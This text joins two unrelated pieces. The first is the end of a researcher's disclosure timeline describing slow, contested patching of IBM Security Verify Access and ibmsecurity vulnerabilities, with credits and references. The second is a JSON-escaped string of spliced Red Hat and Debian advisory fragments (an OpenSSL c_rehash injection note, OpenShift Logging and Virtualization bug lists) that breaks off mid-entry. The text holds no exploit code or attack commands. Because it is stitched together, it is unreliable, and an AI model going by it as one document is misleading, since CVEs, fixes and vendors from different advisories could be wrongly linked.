- Jul 14, 2023: I said that (1) I was still waiting for information about CVE-2023-25927, (2) I did not have any information regarding security patches for ibmsecurity and (3) I asked IBM to provide me with the final list of vulnerabilities that would be patched in the 10.0.7. Since the list of confirmed vulnerabilities was quite long, I wanted to confirm that nothing was missed.
- Jul 28, 2023: IBM said that they did not know if CVE-2023-25927 is one of the reported vulnerabilities and in any case, it is impossible to edit the security bulletin and give credits.
- Aug 16, 2023: IBM asked if additional assistance was required [NB: IBM likely wanted to close this ticket while no security patches were published].
- Aug 17, 2023: I asked again information about ibmsecurity and CVE-2023-25927.
- Oct 20, 2023: IBM said they were still analysing the requests (final list of patched vulnerabilties, security patches of ibmsecurity and status of CVE-2023-25927).
- Oct 25, 2023: IBM asked to organize a meeting.
- Oct 25, 2023: I replied that I was still waiting for the final list of vulnerabilities that would be fixed in version 10.0.7. There was also no information regarding security patches for ibmsecurity.
- Oct 25, 2023: IBM replied they wanted to discuss about the vulnerabilities in a meeting.
- Oct 29, 2023: IBM asked to organize a meeting again.
- Oct 30, 2023: I accepted the meeting and I asked IBM to provide the list of vulnerabilities that would be patched with their current status. I also asked the status of ibmsecurity.
- Oct 30, 2023: IBM asked to have a meeting on Nov 7, 2023.
- Nov 2, 2023: I confirmed my presence to the meeting.
- Nov 5, 2023: IBM confirmed the meeting.
- Nov 7, 2023: Meeting with IBM. IBM provided me with a new report containing new feedbacks for several vulnerabilities. Also IBM confirmed that several vulnerabilities would be patched in 2024 and ibmsecurity would be patched in December 2023. IBM asked me to review a specific vulnerability that appears to be invalid (V-[REDACTED] - Insecure SSLv3 connections to the DSC servers).
- Nov 21, 2023: IBM asked me to review the new report shared by IBM.
- Nov 28, 2023: IBM asked for updates.
- Dec 4, 2023: I answered that I did not have anymore access to the test infrastructure and IBM had to wait for my analysis until I get again access to the test infrastructure.
- Dec 4, 2023: IBM asked me to check the vulnerabilities as soon as possible.
- Dec 21, 2023: I got access to a test infrastructure and reviewed some vulnerabilities.
- Dec 21, 2023: I sent a new analysis to IBM, containing details of 4 vulnerabilities.
- Dec 27, 2023: IBM confirmed the reception of the new analysis.
- Jan 15, 2024: IBM asked me to update ISVA and recheck all the vulnerabilities.
- Jan 16, 2024: I asked IBM if ibmsecurity was also patched.
- Jan 16, 2024: IBM confirmed that a new case must be opened for ibmsecurity to get security patches(!).
- Jan 22, 2024: IBM wanted to organize a new meeting.
- Jan 22, 2024: I replied that I failed to understand the issue with the ibmsecurity library and that I had a written confirmation by IBM that security patches would be provided. The vulnerabilities found in ibmsecurity were reported in March 2023 (10 months ago).
- Jan 22, 2024: I informed IBM that I discovered(!) a new security bulletin thanks to @CVEnew: https://www.ibm.com/support/pages/node/7106586, but only 15 vulnerabilities were listed instead of the 35 vulnerabilities confirmed by IBM. I asked IBM to clarify the situation as it looked like less than half of vulnerabilities were indeed patched.
- Jan 24, 2024: IBM created a new case for ibmsecurity.
- Jan 29, 2024: IBM confirmed that 5 vulnerabilities had not been patched in the latest version (10.0.7).
- Jan 29, 2024: I reached IBM to get the status of 15 unpatched vulnerabilities. I provided the updated analysis to IBM.
- Feb 7, 2024: IBM confirmed that some of the vulnerabilities were "being processed" and that some of vulnerabilities had been also silently patched and no security bulletins had been published.
- Feb 20, 2024: IBM asked for updates.
- Feb 20, 2024: I asked when would be the release date for ISVA 10.0.8 and the complete list of vulnerabilities that would be patched in this release.
- Feb 20, 2024: IBM confirmed that the 10.0.8 release would be published in mid-2024.
- Feb 23, 2024: I sent a new vulnerability to IBM "Authentication Bypass on IBM Security Verify Runtime".
- Feb 23, 2024: IBM confirmed the reception of the vulnerability and asked to close the ticket.
- Feb 23, 2024: I said that since some vulnerabilities had not been patched, the ticket must stay open.
- Feb 23, 2024: IBM said that they cannot keep the ticket open and they needed to close it.
- Feb 23, 2024: I explained that the vulnerabilities were reported over a year ago and IBM confirmed they had not fully fixed in the latest version and that some vulnerabilities were also still under evaluation. I said that I would agree to close this ticket if IBM could confirm that all vulnerabilities reported in the ticket had been correctly fixed in the latest version. I also asked IBM to provide the corresponding security bulletins.
- Feb 27, 2024: Regarding the authentication bypass, IBM replied that the runtime was supposed to be in the intranet zone.
- Feb 28, 2024: I asked IBM to clarify where in the documentation specified that the runtime should not be exposed. For example, in https://www.ibm.com/docs/en/sva/10.0.7?topic=support-docker-image-verify-access-runtime, it was not explained that exposing this runtime on the network was a high security risk.
- Mar 4, 2024: Regarding the vulnerabilities found in ibmsecurity, IBM said that any security vulnerability found in ibmsecurity must be reported by opening an issue in the Github repository.
- Mar 8, 2024: IBM confirmed they were able to reproduce the authentication bypass vulnerability.
- Mar 12, 2024: IBM confirmed they would add an optional MTLS authentication in the next release (10.0.8) and they would update the ISVA documentation to block any attempt of the authentication bypass vulnerability.
- Mar 29, 2024: IBM published a new security bulletin: https://www.ibm.com/support/pages/node/7145400.
- Mar 29, 2024: IBM confirmed that any security vulnerability found in ibmsecurity must be reported by opening an issue in the Github repository.
- Apr 1, 2024: Creation of https://github.com/IBM-Security/ibmsecurity/issues/416.
- Apr 2, 2024: IBM confirmed the reception of the report https://github.com/IBM-Security/ibmsecurity/issues/416#issuecomment-2032110397.
- Apr 3, 2024: https://github.com/IBM-Security/ibmsecurity/issues/416 was entirely redacted by IBM.
- Apr 5, 2024: I asked if the vulnerabilities would be patched in the #416 issue (https://github.com/IBM-Security/ibmsecurity/issues/416).
- Apr 6, 2024: Issue #416 (https://github.com/IBM-Security/ibmsecurity/issues/416) closed.
- Apr 6, 2024: I added again the content of https://github.com/IBM-Security/ibmsecurity/issues/416 and asked if CVEs would be published.
- Apr 10, 2024: Security bulletin for ibm security published: https://www.ibm.com/support/pages/node/7147932.
- Apr 10, 2024: I reached IBM regarding a new security bulletin, with a potential vulnerability I reported https://www.ibm.com/support/pages/node/7145828.
- Apr 10, 2024: IBM said this security bulletin was unrelated to the vulnerabilities I reported.
- Apr 15, 2024: IBM confirmed that the final vulnerabilities would be fixed in ISVA 10.0.8.
- Apr 15, 2024: I provided a list of unfixed vulnerabilities and asked for more information.
- Apr 16, 2024: IBM confirmed that all the unfixed vulnerabilities would be fixed in ISVA 10.0.8 and asked to close the ticket.
- Apr 16, 2024: I confirmed that this ticket can be closed only when the security patches are available.
- Apr 16, 2024: IBM confirmed they wanted to close the ticket because nothing would be updated before mid-2024.
- Apr 17, 2024: I replied that "It makes no sense to close this ticket until the vulnerabilities have been fixed. The fact that the vulnerabilities are fixed mid-year is a decision made by IBM. IBM was made aware of these vulnerabilities over a year ago, and yet we are still waiting for security patches. If this ticket is closed, I would consider that the vulnerabilities have been fixed and it is perfectly fine to publish the technical analysis."
- May 6, 2024: IBM closed the existing ticket and opened new tickets for the remaining vulnerabilities.
- May 6, 2024: I contacted IBM PSIRT asking if it was fine to publish the vulnerabilities since the ticket was closed by IBM.
- May 7, 2024: I reopened the ticket stating that some of the patched vulnerabilities did not receive a CVE and there were also some unpatched vulnerabilities. I asked IBM to provide me with the CVE assigned to each vulnerability. I also asked IBM to confirm that, since this ticket had been closed by IBM, all the vulnerabilities had been fixed and that I would be able to publish the technical details.
- May 8, 2024: IBM said they would review the list of vulnerabilities.
- May 10, 2024: IBM PSIRT asked me not to publish technical details of unpatched vulnerabilities.
- May 17, 2024: IBM provided me with an incomplete list of CVEs, with different vulnerabilities under the same CVE identifier and asked to close the ticket.
- May 20, 2024: IBM asked for my comments on the list of CVEs.
- May 20, 2024: I confirmed that several CVEs were missing and the list was incomplete.
- May 21, 2024: IBM provided me with an explanation regarding the missing CVEs.
- May 21, 2024: I asked IBM to quote their explanation in the security advisory.
- May 21, 2024: IBM asked to have a meeting.
- May 22, 2024: I replied that I would prefer written communication since it was very difficult to track the status of the vulnerabilities with (1) CVEs obtained only several months after the release of security bulletins, (2) tickets closed by IBM for unpatched vulnerabilities, (3) vulnerabilities in ibmsecurity which could be corrected by IBM and which could then no longer be managed by IBM, and (4) missing CVEs.
- May 22, 2024: IBM asked to have a meeting to remove any confusion.
- May 23, 2024: I replied that there's not much confusion except missing CVEs for silently patched vulnerabilities and lack of communication from IBM when releasing security patches. I asked IBM to share the CVEs with the corresponding vulnerabilities and indicate the security bulletins with the list of corresponding vulnerabilities.
- May 24, 2024: IBM stated they would provide me with additional CVEs.
- May 30, 2024: I confirmed that the creation of additional CVEs is fair.
- Jun 2, 2024: IBM confirmed 3 new CVEs in a new security bulletin: https://www.ibm.com/support/pages/node/7155356.
- Jun 3, 2024: I asked IBM the release date of the 10.0.8 version.
- Jun 3, 2024: IBM confirmed that the exact date was not yet decided.
- Jun 6, 2024: IBM asked if I had comments about the remaining vulnerabilities.
- Jun 8, 2024: I asked IBM the status of a previously patched vulnerability.
- Jun 10, 2024: IBM confirmed that this vulnerability had not been previously patched and would be patched in the 10.0.8 release.
- Jun 11, 2024: IBM asked to create separate cases for the remaining vulnerabilities.
- Jun 19, 2024: IBM asked if I needed assistance.
- Jun 23, 2024: IBM confirmed that the 10.0.8 version was released and that they would close the ticket tracking the vulnerabilities.
- Jun 26, 2024: I asked IBM to provide the corresponding CVEs and the link of the security bulletin.
- Jun 27, 2024: IBM provided me with the link to the security bulletin: https://www.ibm.com/support/pages/node/7158790 and said that the 10.0.8 version was released with all the patched vulnerabilities. IBM closed the ticket.
- Jul 3, 2024: I reopened the ticket and asked IBM to provide me with the list of vulnerabilities with the corresponding CVEs since I was not able to correctly map the CVEs to the vulnerabilities I reported.
- Jul 8, 2024: IBM provided me with the list of CVEs. IBM closed the ticket.
- Sep 7, 2024: I sent an email to IBM PSIRT stating that I was going to publish the security advisory and that some CVEs were still missing. I also stated that CVE-2023-38371 seemed to be an error since it was confirmed not to be a vulnerability according to our previous email exchanges.
- Sep 9, 2024: I asked IBM to provide me with an official link regarding the runtime authentication bypass, to publish it in the security advisory.
- Sep 13, 2024: IBM PSIRT provided me with (1) links regarding the runtime authentication bypass and (2) additional CVEs. They also confirmed that at least one vulnerability was not fixed and asked me not to disclose this finding until it was patched. No information was provided when this vulnerability would be patched.
- Nov 1, 2024: A security advisory is published.
Credits
These vulnerabilities were found by Pierre Barre aka Pierre Kim (@PierreKimSec).
References
https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html
https://pierrekim.github.io/advisories/2024-ibm-security-verify-access.txt
https://pierrekim.github.io/blog/2024-11-01-ibmsecurity-4-vulnerabilities.html
https://pierrekim.github.io/advisories/2024-ibmsecurity.txt
https://www.ibm.com/support/pages/node/7106586
https://www.ibm.com/support/pages/node/7145400
https://www.ibm.com/support/pages/node/7155356
https://www.ibm.com/support/pages/node/7158790
Disclaimer
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
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"data": "In addition to the c_rehash shell command injection identified in CVE-2022-1292, further circumstances where the c_rehash script does not properly sanitise shell metacharacters to prevent command injection were found by code review. When the CVE-2022-1292 was fixed it was not discovered that there are other places in the script where the file names of certificates being hashed were possibly passed to a command executed through the shell. This script is distributed by some operating systems in a manner where it is automatically executed. On such operating systems, an attacker could execute arbitrary commands with the privileges of the script. Use of the c_rehash script is considered obsolete and should be replaced by the OpenSSL rehash command line tool. Fixed in OpenSSL 3.0.4 (Affected 3.0.0,3.0.1,3.0.2,3.0.3). Fixed in OpenSSL 1.1.1p (Affected 1.1.1-1.1.1o). Fixed in OpenSSL 1.0.2zf (Affected 1.0.2-1.0.2ze). (CVE-2022-2068). Description:\n\nRed Hat Ceph Storage is a scalable, open, software-defined storage platform\nthat combines the most stable version of the Ceph storage system with a\nCeph management platform, deployment utilities, and support services. \n\nSpace precludes documenting all of these changes in this advisory. Bugs fixed (https://bugzilla.redhat.com/):\n\n2031228 - CVE-2021-43813 grafana: directory traversal vulnerability\n2044628 - CVE-2022-21673 grafana: Forward OAuth Identity Token can allow users to access some data sources\n2115198 - build ceph containers for RHCS 5.2 release\n\n5. \n\nFor the oldstable distribution (buster), this problem has been fixed\nin version 1.1.1n-0+deb10u3. \n\nFor the stable distribution (bullseye), this problem has been fixed in\nversion 1.1.1n-0+deb11u3. \n\nWe recommend that you upgrade your openssl packages. \n\nFor the detailed security status of openssl please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/openssl\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n-----BEGIN PGP SIGNATURE-----\n\niQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmK4pF0ACgkQEMKTtsN8\nTjYP5g//SyfB1W/vUNmgeSp2kKu3vt9CPwoXMK8nhTcA7iYhkxIJTFxAWDpn+4S7\nW4kYyxMRFSIHKv4FLiLgi/Vzn4g1kB1UvKv05CFhEJqpWMyyRj6FdmebLlkLG0eE\nIGsZoQl9be+lRJ+E4oMMkrRkbJV5II7s69vdxFDh4893Ndx05GWWvXT5Doc5gFMi\nNoNabBH47GFU6aGDwVJU+xooBT6s4QMOrgVKYbxhM5PO98HQzk0zv0Z6YRx7FzKD\nhYMN/t6A8qj4zMQqJqM+44q9zpDryyolGLewvgOit1HFFnLlBf4wsdBvE7AGhvGs\nLam5OXLhlwlQT6gBNd4XFAShdEZGLVF2DCgKzMh5cG5r2W10ewfHHyOR4CnkMQQP\nePA8YvhVwSH3I5jOTS75A18LXpoRJKRXQuQ7v9di2C8qRZ0qnM95h0KzH9/UKyUc\nTmF09MTKWoFCkCtyzucdPnoyUPhdScJc08jcGJ37MCb8uKI4F5jVImLnHC6qS6Oc\nGab3OPIDzS8I1rro0J1k8RJE1E8XvfCxgVAOoebn0mst8qT+38hqsTFykG+uq3dN\nsfhwI+E8iOeVOapyDVzxz8DfIkyBdnFsM4cg9VxDPOOllN+BknySqvzxu+aYpMFz\nK/D6g421XIIXPXD+sP/w1ENPV7LFobRR7KXUWvjS5l/Ir8dhPdQ=\n=tiWq\n-----END PGP SIGNATURE-----\n. \n\nRed Hat Product Security has rated this update as having a security impact\nof Important. A Common Vulnerability Scoring System (CVSS) base score,\nwhich gives a detailed severity rating, is available for each vulnerability\nfrom the CVE link(s) in the References section. \n\n2. Description:\n\nLogging Subsystem 5.5.0 - Red Hat OpenShift\n\nSecurity Fix(es):\n\n* kubeclient: kubeconfig parsing error can lead to MITM attacks\n(CVE-2022-0759)\n\n* golang: compress/gzip: stack exhaustion in Reader.Read (CVE-2022-30631)\n\n* golang: out-of-bounds read in golang.org/x/text/language leads to DoS\n(CVE-2021-38561)\n\n* prometheus/client_golang: Denial of service using\nInstrumentHandlerCounter (CVE-2022-21698)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. \n\n3. Solution:\n\nFor details on how to apply this update, which includes the changes\ndescribed in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\n4. Bugs fixed (https://bugzilla.redhat.com/):\n\n2045880 - CVE-2022-21698 prometheus/client_golang: Denial of service using InstrumentHandlerCounter\n2058404 - CVE-2022-0759 kubeclient: kubeconfig parsing error can lead to MITM attacks\n2100495 - CVE-2021-38561 golang: out-of-bounds read in golang.org/x/text/language leads to DoS\n2107342 - CVE-2022-30631 golang: compress/gzip: stack exhaustion in Reader.Read\n\n5. JIRA issues fixed (https://issues.jboss.org/):\n\nLOG-1415 - Allow users to tune fluentd\nLOG-1539 - Events and CLO csv are not collected after running `oc adm must-gather --image=$downstream-clo-image `\nLOG-1713 - Reduce Permissions granted for prometheus-k8s service account\nLOG-2063 - Collector pods fail to start when a Vector only Cluster Logging instance is created. \nLOG-2134 - The infra logs are sent to app-xx indices\nLOG-2159 - Cluster Logging Pods in CrashLoopBackOff\nLOG-2165 - [Vector] Default log level debug makes it hard to find useful error/failure messages. \nLOG-2167 - [Vector] Collector pods fails to start with configuration error when using Kafka SASL over SSL\nLOG-2169 - [Vector] Logs not being sent to Kafka with SASL plaintext. \nLOG-2172 - [vector]The openshift-apiserver and ovn audit logs can not be collected. \nLOG-2242 - Log file metric exporter is still following /var/log/containers files. \nLOG-2243 - grafana-dashboard-cluster-logging should be deleted once clusterlogging/instance was removed\nLOG-2264 - Logging link should contain an icon\nLOG-2274 - [Logging 5.5] EO doesn\u0027t recreate secrets kibana and kibana-proxy after removing them. \nLOG-2276 - Fluent config format is hard to read via configmap\nLOG-2290 - ClusterLogging Instance status in not getting updated in UI\nLOG-2291 - [release-5.5] Events listing out of order in Kibana 6.8.1\nLOG-2294 - [Vector] Vector internal metrics are not exposed via HTTPS due to which OpenShift Monitoring Prometheus service cannot scrape the metrics endpoint. \nLOG-2300 - [Logging 5.5]ES pods can\u0027t be ready after removing secret/signing-elasticsearch\nLOG-2303 - [Logging 5.5] Elasticsearch cluster upgrade stuck\nLOG-2308 - configmap grafana-dashboard-elasticsearch is being created and deleted continously\nLOG-2333 - Journal logs not reaching Elasticsearch output\nLOG-2337 - [Vector] Missing @ prefix from the timestamp field in log record. \nLOG-2342 - [Logging 5.5] Kibana pod can\u0027t connect to ES cluster after removing secret/signing-elasticsearch: \"x509: certificate signed by unknown authority\"\nLOG-2384 - Provide a method to get authenticated from GCP\nLOG-2411 - [Vector] Audit logs forwarding not working. \nLOG-2412 - CLO\u0027s loki output url is parsed wrongly\nLOG-2413 - PriorityClass cluster-logging is deleted if provide an invalid log type\nLOG-2418 - EO supported time units don\u0027t match the units specified in CRDs. \nLOG-2439 - Telemetry: the managedStatus\u0026healthStatus\u0026version values are wrong\nLOG-2440 - [loki-operator] Live tail of logs does not work on OpenShift\nLOG-2444 - The write index is removed when `the size of the index` \u003e `diskThresholdPercent% * total size`. \nLOG-2460 - [Vector] Collector pods fail to start on a FIPS enabled cluster. \nLOG-2461 - [Vector] Vector auth config not generated when user provided bearer token is used in a secret for connecting to LokiStack. \nLOG-2463 - Elasticsearch operator repeatedly prints error message when checking indices\nLOG-2474 - EO shouldn\u0027t grant cluster-wide permission to system:serviceaccount:openshift-monitoring:prometheus-k8s when ES cluster is deployed. [openshift-logging 5.5]\nLOG-2522 - CLO supported time units don\u0027t match the units specified in CRDs. \nLOG-2525 - The container\u0027s logs are not sent to separate index if the annotation is added after the pod is ready. \nLOG-2546 - TLS handshake error on loki-gateway for FIPS cluster\nLOG-2549 - [Vector] [master] Journald logs not sent to the Log store when using Vector as collector. \nLOG-2554 - [Vector] [master] Fallback index is not used when structuredTypeKey is missing from JSON log data\nLOG-2588 - FluentdQueueLengthIncreasing rule failing to be evaluated. \nLOG-2596 - [vector]the condition in [transforms.route_container_logs] is inaccurate\nLOG-2599 - Supported values for level field don\u0027t match documentation\nLOG-2605 - $labels.instance is empty in the message when firing FluentdNodeDown alert\nLOG-2609 - fluentd and vector are unable to ship logs to elasticsearch when cluster-wide proxy is in effect\nLOG-2619 - containers violate PodSecurity -- Log Exporation\nLOG-2627 - containers violate PodSecurity -- Loki\nLOG-2649 - Level Critical should match the beginning of the line as the other levels\nLOG-2656 - Logging uses deprecated v1beta1 apis\nLOG-2664 - Deprecated Feature logs causing too much noise\nLOG-2665 - [Logging 5.5] Sometimes collector fails to push logs to Elasticsearch cluster\nLOG-2693 - Integration with Jaeger fails for ServiceMonitor\nLOG-2700 - [Vector] vector container can\u0027t start due to \"unknown field `pod_annotation_fields`\" . \nLOG-2703 - Collector DaemonSet is not removed when CLF is deleted for fluentd/vector only CL instance\nLOG-2725 - Upgrade logging-eventrouter Golang version and tags\nLOG-2731 - CLO keeps reporting `Reconcile ServiceMonitor retry error` and `Reconcile Service retry error` after creating clusterlogging. \nLOG-2732 - Prometheus Operator pod throws \u0027skipping servicemonitor\u0027 error on Jaeger integration\nLOG-2742 - unrecognized outputs when use the sts role secret\nLOG-2746 - CloudWatch forwarding rejecting large log events, fills tmpfs\nLOG-2749 - OpenShift Logging Dashboard for Elastic Shards shows \"active_primary\" instead of \"active\" shards. \nLOG-2753 - Update Grafana configuration for LokiStack integration on grafana/loki repo\nLOG-2763 - [Vector]{Master} Vector\u0027s healthcheck fails when forwarding logs to Lokistack. \nLOG-2764 - ElasticSearch operator does not respect referencePolicy when selecting oauth-proxy image\nLOG-2765 - ingester pod can not be started in IPv6 cluster\nLOG-2766 - [vector] failed to parse cluster url: invalid authority IPv6 http-proxy\nLOG-2772 - arn validation failed when role_arn=arn:aws-us-gov:xxx\nLOG-2773 - No cluster-logging-operator-metrics service in logging 5.5\nLOG-2778 - [Vector] [OCP 4.11] SA token not added to Vector config when connecting to LokiStack instance without CLF creds secret required by LokiStack. \nLOG-2784 - Japanese log messages are garbled at Kibana\nLOG-2793 - [Vector] OVN audit logs are missing the level field. \nLOG-2864 - [vector] Can not sent logs to default when loki is the default output in CLF\nLOG-2867 - [fluentd] All logs are sent to application tenant when loki is used as default logstore in CLF. \nLOG-2873 - [Vector] Cannot configure CPU/Memory requests/limits when using Vector as collector. \nLOG-2875 - Seeing a black rectangle box on the graph in Logs view\nLOG-2876 - The link to the \u0027Container details\u0027 page on the \u0027Logs\u0027 screen throws error\nLOG-2877 - When there is no query entered, seeing error message on the Logs view\nLOG-2882 - RefreshIntervalDropdown and TimeRangeDropdown always set back to its original values when switching between pages in \u0027Logs\u0027 screen\n\n6. References:\n\nhttps://access.redhat.com/security/cve/CVE-2021-38561\nhttps://access.redhat.com/security/cve/CVE-2022-0759\nhttps://access.redhat.com/security/cve/CVE-2022-1012\nhttps://access.redhat.com/security/cve/CVE-2022-1292\nhttps://access.redhat.com/security/cve/CVE-2022-1586\nhttps://access.redhat.com/security/cve/CVE-2022-1785\nhttps://access.redhat.com/security/cve/CVE-2022-1897\nhttps://access.redhat.com/security/cve/CVE-2022-1927\nhttps://access.redhat.com/security/cve/CVE-2022-2068\nhttps://access.redhat.com/security/cve/CVE-2022-2097\nhttps://access.redhat.com/security/cve/CVE-2022-21698\nhttps://access.redhat.com/security/cve/CVE-2022-30631\nhttps://access.redhat.com/security/cve/CVE-2022-32250\nhttps://access.redhat.com/security/updates/classification/#important\n\n7. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2022 Red Hat, Inc. Summary:\n\nRed Hat OpenShift Virtualization release 4.12 is now available with updates\nto packages and images that fix several bugs and add enhancements. Description:\n\nOpenShift Virtualization is Red Hat\u0027s virtualization solution designed for\nRed Hat OpenShift Container Platform. \n\nRHEL-8-CNV-4.12\n\n=============\nbridge-marker-container-v4.12.0-24\ncluster-network-addons-operator-container-v4.12.0-24\ncnv-containernetworking-plugins-container-v4.12.0-24\ncnv-must-gather-container-v4.12.0-58\nhco-bundle-registry-container-v4.12.0-769\nhostpath-csi-driver-container-v4.12.0-30\nhostpath-provisioner-container-v4.12.0-30\nhostpath-provisioner-operator-container-v4.12.0-31\nhyperconverged-cluster-operator-container-v4.12.0-96\nhyperconverged-cluster-webhook-container-v4.12.0-96\nkubemacpool-container-v4.12.0-24\nkubevirt-console-plugin-container-v4.12.0-182\nkubevirt-ssp-operator-container-v4.12.0-64\nkubevirt-tekton-tasks-cleanup-vm-container-v4.12.0-55\nkubevirt-tekton-tasks-copy-template-container-v4.12.0-55\nkubevirt-tekton-tasks-create-datavolume-container-v4.12.0-55\nkubevirt-tekton-tasks-create-vm-from-template-container-v4.12.0-55\nkubevirt-tekton-tasks-disk-virt-customize-container-v4.12.0-55\nkubevirt-tekton-tasks-disk-virt-sysprep-container-v4.12.0-55\nkubevirt-tekton-tasks-modify-vm-template-container-v4.12.0-55\nkubevirt-tekton-tasks-operator-container-v4.12.0-40\nkubevirt-tekton-tasks-wait-for-vmi-status-container-v4.12.0-55\nkubevirt-template-validator-container-v4.12.0-32\nlibguestfs-tools-container-v4.12.0-255\novs-cni-marker-container-v4.12.0-24\novs-cni-plugin-container-v4.12.0-24\nvirt-api-container-v4.12.0-255\nvirt-artifacts-server-container-v4.12.0-255\nvirt-cdi-apiserver-container-v4.12.0-72\nvirt-cdi-cloner-container-v4.12.0-72\nvirt-cdi-controller-container-v4.12.0-72\nvirt-cdi-importer-container-v4.12.0-72\nvirt-cdi-operator-container-v4.12.0-72\nvirt-cdi-uploadproxy-container-v4.12.0-71\nvirt-cdi-uploadserver-container-v4.12.0-72\nvirt-controller-container-v4.12.0-255\nvirt-exportproxy-container-v4.12.0-255\nvirt-exportserver-container-v4.12.0-255\nvirt-handler-container-v4.12.0-255\nvirt-launcher-container-v4.12.0-255\nvirt-operator-container-v4.12.0-255\nvirtio-win-container-v4.12.0-10\nvm-network-latency-checkup-container-v4.12.0-89\n\n3. Bugs fixed (https://bugzilla.redhat.com/):\n\n1719190 - Unable to cancel live-migration if virt-launcher pod in pending state\n2023393 - [CNV] [UI]Additional information needed for cloning when default storageclass in not defined in target datavolume\n2030801 - CVE-2021-44716 golang: net/http: limit growth of header canonicalization cache\n2030806 - CVE-2021-44717 golang: syscall: don\u0027t close fd 0 on ForkExec error\n2040377 - Unable to delete failed VMIM after VM deleted\n2046298 - mdevs not configured with drivers installed, if mdev config added to HCO CR before drivers are installed\n2052556 - Metric \"kubevirt_num_virt_handlers_by_node_running_virt_launcher\" reporting incorrect value\n2053429 - CVE-2022-23806 golang: crypto/elliptic: IsOnCurve returns true for invalid field elements\n2053532 - CVE-2022-23772 golang: math/big: uncontrolled memory consumption due to an unhandled overflow via Rat.SetString\n2053541 - CVE-2022-23773 golang: cmd/go: misinterpretation of branch names can lead to incorrect access control\n2060499 - [RFE] Cannot add additional service (or other objects) to VM template\n2069098 - Large scale |VMs migration is slow due to low migration parallelism\n2070366 - VM Snapshot Restore hangs indefinitely when backed by a snapshotclass\n2071491 - Storage Throughput metrics are incorrect in Overview\n2072797 - Metrics in Virtualization -\u003e Overview period is not clear or configurable\n2072821 - Top Consumers of Storage Traffic in Kubevirt Dashboard giving unexpected numbers\n2079916 - KubeVirt CR seems to be in DeploymentInProgress state and not recovering\n2084085 - CVE-2022-29526 golang: syscall: faccessat checks wrong group\n2086285 - [dark mode] VirtualMachine - in the Utilization card the percentages and the graphs not visible enough in dark mode\n2086551 - Min CPU feature found in labels\n2087724 - Default template show no boot source even there are auto-upload boot sources\n2088129 - [SSP] webhook does not comply with restricted security context\n2088464 - [CDI] cdi-deployment does not comply with restricted security context\n2089391 - Import gzipped raw file causes image to be downloaded and uncompressed to TMPDIR\n2089744 - HCO should label its control plane namespace to admit pods at privileged security level\n2089751 - 4.12.0 containers\n2089804 - 4.12.0 rpms\n2091856 - ?Edit BootSource? action should have more explicit information when disabled\n2092793 - CVE-2022-30629 golang: crypto/tls: session tickets lack random ticket_age_add\n2092796 - [RFE] CPU|Memory display in the template card is not consistent with the display in the template drawer\n2093771 - The disk source should be PVC if the template has no auto-update boot source\n2093996 - kubectl get vmi API should always return primary interface if exist\n2094202 - Cloud-init username field should have hint\n2096285 - KubeVirt CR API documentation is missing docs for many fields\n2096780 - [RFE] Add ssh-key and sysprep to template scripts tab\n2097436 - Online disk expansion ignores filesystem overhead change\n2097586 - AccessMode should stay on ReadWriteOnce while editing a disk with storage class HPP\n2099556 - [RFE] Add option to enable RDP service for windows vm\n2099573 - [RFE] Improve template\u0027s message about not editable\n2099923 - [RFE] Merge \"SSH access\" and \"SSH command\" into one\n2100290 - Error is not dismissed on catalog review page\n2100436 - VM list filtering ignores VMs in error-states\n2100442 - [RFE] allow enabling and disabling SSH service while VM is shut down\n2100495 - CVE-2021-38561 golang: out-of-bounds read in golang.org/x/text/language leads to DoS\n2100629 - Update nested support KBASE article\n2100679 - The number of hardware devices is not correct in vm overview tab\n2100682 - All hardware devices get deleted while just delete one\n2100684 - Workload profile are not editable during creation and after creation\n2101144 - VM filter has two \"Other\" checkboxes which are triggered together\n2101164 - [dark mode] Number of alerts in Alerts card not visible enough in dark mode\n2101167 - Edit buttons clickable area is too large. \n2101333 - [e2e] elements on Template Scheduling tab are missing proper data-test-id\n2101335 - Clone action enabled in VM list kebab button for a VM in CrashLoopBackOff state\n2101390 - Easy to miss the \"tick\" when adding GPU device to vm via UI\n2101394 - [e2e] elements on VM Scripts tab are missing proper data-test-id\n2101423 - wrong user name on using ignition\n2101430 - Using CLOUD_USER_PASSWORD in Templates parameters breaks VM review page\n2101445 - \"Pending changes - Boot Order\"\n2101454 - Cannot add PVC boot source to template in \u0027Edit Boot Source Reference\u0027 view as a non-priv user\n2101499 - Cannot add NIC to VM template as non-priv user\n2101501 - NAME parameter in VM template has no effect. \n2101628 - non-priv user cannot load dataSource while edit template\u0027s rootdisk\n2101667 - VMI view is not aligned with vm and tempates\n2101681 - All templates are labeling \"source available\" in template list page\n2102074 - VM Creation time on VM Overview Details card lacks string\n2102125 - vm clone modal is displaying DV size instead of PVC size\n2102132 - align the utilization card of single VM overview with the design\n2102138 - Should the word \"new\" be removed from \"Create new VirtualMachine from catalog\"?\n2102256 - Add button moved to right\n2102448 - VM disk is deleted by uncheck \"Delete disks (1x)\" on delete modal\n2102475 - Template \u0027vm-template-example\u0027 should be filtered by \u0027Fedora\u0027 rather than \u0027Other\u0027\n2102561 - sysprep-info should link to downstream doc\n2102737 - Clone a VM should lead to vm overview tab\n2102740 - \"Save\" button on vm clone modal should be \"Clone\"\n2103806 - \"404: Not Found\" appears shortly by clicking the PVC link on vm disk tab\n2103807 - PVC is not named by VM name while creating vm quickly\n2103817 - Workload profile values in vm details should align with template\u0027s value\n2103844 - VM nic model is empty\n2104331 - VM list page scroll up automatically\n2104402 - VM create button is not enabled while adding multiple environment disks\n2104422 - Storage status report \"OpenShift Data Foundation is not available\" even the operator is installed\n2104424 - Enable descheduler or hide it on template\u0027s scheduling tab\n2104479 - [4.12] Cloned VM\u0027s snapshot restore fails if the source VM disk is deleted\n2104480 - Alerts in VM overview tab disappeared after a few seconds\n2104785 - 